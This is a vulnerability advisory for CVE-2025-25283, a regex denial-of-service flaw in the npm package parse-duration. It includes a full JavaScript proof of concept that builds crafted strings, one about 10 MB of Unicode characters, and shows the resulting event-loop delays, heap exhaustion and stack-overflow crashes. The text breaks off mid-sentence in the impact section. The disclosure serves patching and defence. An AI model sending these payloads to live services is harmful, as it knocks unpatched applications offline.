logo

CVE-2025-25283 parse-duration

Package

Manager: npm
Name: parse-duration
Vulnerable Version: >=0 <2.1.3

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS: 0.00121 pctl0.31799

Details

parse-duration has a Regex Denial of Service that results in event loop delay and out of memory ### Summary This report finds 2 availability issues due to the regex used in the `parse-duration` npm package: 1. An event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively. 2. An out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. ### PoC Refer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings: ```js // Vulnerable regex to use from the library: import parse from './index.js' function generateStressTestString(length, decimalProbability) { let result = ""; for (let i = 0; i < length; i++) { if (Math.random() < decimalProbability) { result += "....".repeat(99); } result += Math.floor(Math.random() * 10); } return result; } function getStringSizeInMB_UTF8(str) { const sizeInBytes = Buffer.byteLength(str, 'utf8'); const sizeInMB = sizeInBytes / (1024 * 1024); return sizeInMB; } // Generate test strings with varying length and decimal probability: const longString1 = generateStressTestString(380, 0.05); const longString2 = generateStressTestString(10000, 0.9); const longString3 = generateStressTestString(500000, 1); const longStringVar1 = '-1e' + '-----'.repeat(915000) const longStringVar2 = "1" + "0".repeat(500) + "e1" + "α".repeat(5225000) function testRegex(str) { const startTime = performance.now(); // one of the regex's used in the library: // const durationRE = /(-?(?:\d+\.?\d*|\d*\.?\d+)(?:e[-+]?\d+)?)\s*([\p{L}]*)/giu; // const match = durationRE.test(str); // but we will use the exported library code directly: const match = parse(str); const endTime = performance.now(); const timeTaken = endTime - startTime; return { timeTaken, match }; } // Test the long strings: let result = {} { console.log( `\nRegex test on string of length ${longString1.length} (size: ${getStringSizeInMB_UTF8(longString1).toFixed(2)} MB):` ); result = testRegex(longString1); console.log( ` matched: ${result.match}, time taken: ${result.timeTaken}ms` ); } { console.log( `\nRegex test on string of length ${longString2.length} (size: ${getStringSizeInMB_UTF8(longString2).toFixed(2)} MB):` ); result = testRegex(longString2 + "....".repeat(100) + "5сек".repeat(9000)); console.log( ` matched: ${result.match}, time taken: ${result.timeTaken}ms` ); } { console.log( `\nRegex test on string of length ${longStringVar1.length} (size: ${getStringSizeInMB_UTF8(longStringVar1).toFixed(2)} MB):` ); result = testRegex(longStringVar1); console.log( ` matched: ${result.match}, time taken: ${result.timeTaken}ms` ); } { console.log( `\nRegex test on string of length ${longString3.length} (size: ${getStringSizeInMB_UTF8(longString3).toFixed(2)} MB):` ); result = testRegex(longString3 + '.'.repeat(10000) + " 5сек".repeat(9000)); console.log( ` matched: ${result.match}, time taken: ${result.timeTaken}ms` ); } { console.log( `\nRegex test on string of length ${longStringVar2.length} (size: ${getStringSizeInMB_UTF8(longStringVar2).toFixed(2)} MB):` ); result = testRegex(longStringVar2); console.log( ` matched: ${result.match}, time taken: ${result.timeTaken}ms` ); } ``` The results of this on the cloud machine that I ran this on are as follows: ```sh @lirantal ➜ /workspaces/parse-duration (master) $ node redos.js Regex test on string of length 6320 (size: 0.01 MB): matched: 5997140778.000855, time taken: 0.9271340000000237ms Regex test on string of length 3561724 (size: 3.40 MB): matched: 0.0006004999999999999, time taken: 728.7693149999999ms Regex test on string of length 4575003 (size: 4.36 MB): matched: null, time taken: 43.713984999999866ms Regex test on string of length 198500000 (size: 189.30 MB): <--- Last few GCs ---> [34339:0x7686430] 14670 ms: Mark-Compact (reduce) 2047.4 (2073.3) -> 2047.4 (2074.3) MB, 1396.70 / 0.01 ms (+ 0.1 ms in 62 steps since start of marking, biggest step 0.0 ms, walltime since start of marking 1430 ms) (average mu = 0.412, current mu = 0.[34339:0x7686430] 17450 ms: Mark-Compact (reduce) 2048.4 (2074.3) -> 2048.4 (2075.3) MB, 2777.68 / 0.00 ms (average mu = 0.185, current mu = 0.001) allocation failure; scavenge might not succeed <--- JS stacktrace ---> FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory ----- Native stack trace ----- 1: 0xb8d0a3 node::OOMErrorHandler(char const*, v8::OOMDetails const&) [node] 2: 0xf06250 v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node] 3: 0xf06537 v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node] 4: 0x11180d5 [node] 5: 0x112ff58 v8::internal::Heap::CollectGarbage(v8::internal::AllocationSpace, v8::internal::GarbageCollectionReason, v8::GCCallbackFlags) [node] 6: 0x1106071 v8::internal::HeapAllocator::AllocateRawWithLightRetrySlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node] 7: 0x1107205 v8::internal::HeapAllocator::AllocateRawWithRetryOrFailSlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node] 8: 0x10e4856 v8::internal::Factory::NewFillerObject(int, v8::internal::AllocationAlignment, v8::internal::AllocationType, v8::internal::AllocationOrigin) [node] 9: 0x1540686 v8::internal::Runtime_AllocateInYoungGeneration(int, unsigned long*, v8::internal::Isolate*) [node] 10: 0x1979ef6 [node] Aborted (core dumped) ``` You can note that: 1. 0.01 MB of input was enough to cause a 1ms delay (0.92ms) 2. Ranging from either 3 MB to 4 MB of input results in almost a full second day (728ms) and 42 ms, depending on the characters used in the text passed to the library's `parse()` function 3. A 200 MB of input size already causes JavaScript heap out of memory crash However, more interestingly, if we focus on the input string case: ```js const longStringVar2 = "1" + "0".repeat(500) + "e1" + "α".repeat(5225000) ``` Even though this is merely 10 MB of size (9.97 MB) it results in an out of memory issue due to the recursive nature of the regular expression matching: ```sh Regex test on string of length 5225503 (size: 9.97 MB): file:///workspaces/parse-duration/index.js:21 .replace(durationRE, (_, n, units) => { ^ RangeError: Maximum call stack size exceeded at String.replace (<anonymous>) at parse (file:///workspaces/parse-duration/index.js:21:6) at testRegex (file:///workspaces/parse-duration/redos.js:35:17) at file:///workspaces/parse-duration/redos.js:89:12 at ModuleJob.run (node:internal/modules/esm/module_job:234:25) at async ModuleLoader.import (node:internal/modules/esm/loader:473:24) at async asyncRunEntryPointWithESMLoader (node:internal/modules/run_main:122:5) Node.js v20.18.1 ``` To note, the issue at hand may not just be the primary regex in use but rather the reliance of the various `replace` functions in the `parse()` function which create copies of the input in memory. ### Impact - I agree, a 200 MB (perhaps even less if we perform more tests to find the actual threshold) is a large amount of data to send over a network and hopefully is unlikely to hit common application usage. - In the case of the specialized input string case that uses a UTF-8 character it is only requires up to 10 MB of request size to cause a RangeError exception for a running Node.js application, which I think is more applicable and common to allow such input sizes for POST requests and other types. - Even for the smaller payloads such as 0.01 MB which aligns with

Metadata

Created: 2025-02-12T19:45:51Z
Modified: 2025-02-12T21:35:41Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/02/GHSA-hcrg-fc28-fcg5/GHSA-hcrg-fc28-fcg5.json
CWE IDs: ["CWE-1333"]
Alternative ID: GHSA-hcrg-fc28-fcg5
Finding: F211
Auto approve: 1